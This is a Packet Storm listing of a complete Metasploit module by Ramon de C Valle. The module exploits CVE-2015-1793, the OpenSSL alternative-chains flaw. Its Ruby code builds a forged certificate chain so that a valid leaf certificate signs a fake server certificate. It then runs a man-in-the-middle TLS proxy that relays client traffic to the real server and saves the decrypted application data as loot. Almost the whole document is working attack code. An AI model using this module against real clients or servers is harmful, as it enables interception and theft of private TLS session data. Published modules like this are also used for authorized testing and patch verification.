Lucene search

K
packetstormRamon de C VallePACKETSTORM:132843
HistoryJul 27, 2015 - 12:00 a.m.

OpenSSL Alternative Chains Certificate Forgery MITM Proxy

2015-07-2700:00:00
Ramon de C Valle
packetstormsecurity.com
58

0.141 Low

EPSS

Percentile

95.1%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'openssl'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy',  
'Description' => %q{  
This module exploits a logic error in OpenSSL by impersonating the server  
and sending a specially-crafted chain of certificates, resulting in  
certain checks on untrusted certificates to be bypassed on the client,  
allowing it to use a valid leaf certificate as a CA certificate to sign a  
fake certificate. The SSL/TLS session is then proxied to the server  
allowing the session to continue normally and application data transmitted  
between the peers to be saved.  
  
The valid leaf certificate must not contain the keyUsage extension or it  
must have at least the keyCertSign bit set (see X509_check_issued function  
in crypto/x509v3/v3_purp.c); otherwise; X509_verify_cert fails with  
X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This module requires an  
active man-in-the-middle attack.  
},  
'Author' =>  
[  
'David Benjamin', # Vulnerability discovery  
'Adam Langley', # Vulnerability discovery  
'Ramon de C Valle' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Actions' =>  
[  
[ 'Service' ]  
],  
'PassiveActions' =>  
[  
'Service'  
],  
'DefaultAction' => 'Service',  
'References' => [  
['CVE', '2015-1793'],  
['CWE', '754'],  
['URL', 'http://www.openssl.org/news/secadv_20150709.txt'],  
['URL', 'http://git.openssl.org/?p=openssl.git;a=commit;h=f404943bcab4898d18f3ac1b36479d1d7bbbb9e6']  
],  
'DisclosureDate' => 'Jul 9 2015'  
)  
  
register_options(  
[  
OptString.new('CACERT', [ true, "The leaf certificate's CA certificate", nil]),  
OptString.new('CERT', [ true, 'The leaf certificate', nil]),  
OptString.new('KEY', [ true, "The leaf certificate's private key", nil]),  
OptString.new('PASSPHRASE', [ false, "The pass phrase for the leaf certificate's private key", nil]),  
OptString.new('SUBJECT', [ false, 'The subject field for the fake certificate', '/C=US/ST=California/L=Mountain View/O=Example Inc/CN=*.example.com']),  
OptString.new('HOST', [ true, 'The server address', nil]),  
OptString.new('PORT', [ true, 'The server port', 443]),  
OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),  
OptString.new('SRVPORT', [ true, 'The proxy port', 443])  
], self.class)  
end  
  
def cleanup  
super  
return unless @proxy  
  
begin  
@proxy.deref if @proxy.kind_of?(Rex::Service)  
if @proxy.kind_of?(Rex::Socket)  
@proxy.close  
@proxy.stop  
end  
@proxy = nil  
rescue ::Exception  
end  
end  
  
def run  
host = datastore['HOST']  
port = datastore['PORT']  
local_host = datastore['SRVHOST']  
local_port = datastore['SRVPORT']  
  
root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')  
root_ca_key = OpenSSL::PKey::RSA.new(2048)  
root_ca_cert = OpenSSL::X509::Certificate.new  
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')  
root_ca_cert.not_after = Time.now + 86400  
root_ca_cert.not_before = Time.now  
root_ca_cert.public_key = root_ca_key.public_key  
root_ca_cert.serial = 0  
root_ca_cert.subject = root_ca_name  
root_ca_cert.version = 2  
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)  
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))  
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))  
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))  
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)  
  
inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')  
inter_ca_key = OpenSSL::PKey::RSA.new(2048)  
inter_ca_cert = OpenSSL::X509::Certificate.new  
inter_ca_cert.issuer = root_ca_name  
inter_ca_cert.not_after = Time.now + 86400  
inter_ca_cert.not_before = Time.now  
inter_ca_cert.public_key = inter_ca_key.public_key  
inter_ca_cert.serial = 0  
inter_ca_cert.subject = inter_ca_name  
inter_ca_cert.version = 2  
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)  
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))  
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))  
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))  
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)  
  
subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CACERT']))  
subinter_ca_cert.issuer = inter_ca_name  
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)  
leaf_key = OpenSSL::PKey::RSA.new(File.read(datastore['KEY']), datastore['PASSPHRASE'])  
leaf_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CERT']))  
  
fake_name = OpenSSL::X509::Name.parse(datastore['SUBJECT'])  
fake_key = OpenSSL::PKey::RSA.new(2048)  
fake_cert = OpenSSL::X509::Certificate.new  
fake_cert.issuer = leaf_cert.subject  
fake_cert.not_after = Time.now + 3600  
fake_cert.not_before = Time.now  
fake_cert.public_key = fake_key.public_key  
fake_cert.serial = 0  
fake_cert.subject = fake_name  
fake_cert.version = 2  
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)  
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))  
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))  
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))  
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)  
  
context = OpenSSL::SSL::SSLContext.new  
context.cert = fake_cert  
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]  
context.key = fake_key  
  
@proxy = Rex::Socket::SslTcpServer.create(  
'LocalHost' => local_host,  
'LocalPort' => local_port,  
'SSLContext' => context,  
'Context' =>  
{  
'Msf' => framework,  
'MsfExploit' => self  
})  
  
print_status('Listening on %s:%d' % [local_host, local_port])  
  
thread_num = 0  
  
loop do  
framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|  
add_socket(client)  
application_data = ''  
print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])  
  
server = Rex::Socket::Tcp.create(  
'PeerHost' => host,  
'PeerPort' => port,  
'SSL' => true,  
'SSLVerifyMode' => 'NONE',  
'Context' =>  
{  
'Msf' => framework,  
'MsfExploit' => self  
})  
add_socket(server)  
  
print_status('Connected to %s:%d' % [host, port])  
  
begin  
loop do  
readable, _, _ = IO.select([client, server])  
  
readable.each do |r|  
data = r.get_once  
print_status('%d bytes received' % [data.bytesize])  
  
application_data << data  
  
case r  
when client  
count = server.put(data)  
print_status('%d bytes sent' % [count])  
when server  
count = client.put(data)  
print_status('%d bytes sent' % [count])  
end  
end  
end  
  
rescue EOFError, Errno::ECONNRESET  
path = store_loot(  
'tls.application_data',  
'application/octet-stream',  
client.peerhost,  
application_data,  
'application_data',  
'TLS session application data'  
)  
  
print_good("SSL/TLS session application data successfully stored in #{path}")  
  
client.close  
server.close  
  
next  
end  
  
client.close  
server.close  
end  
end  
end  
  
end  
`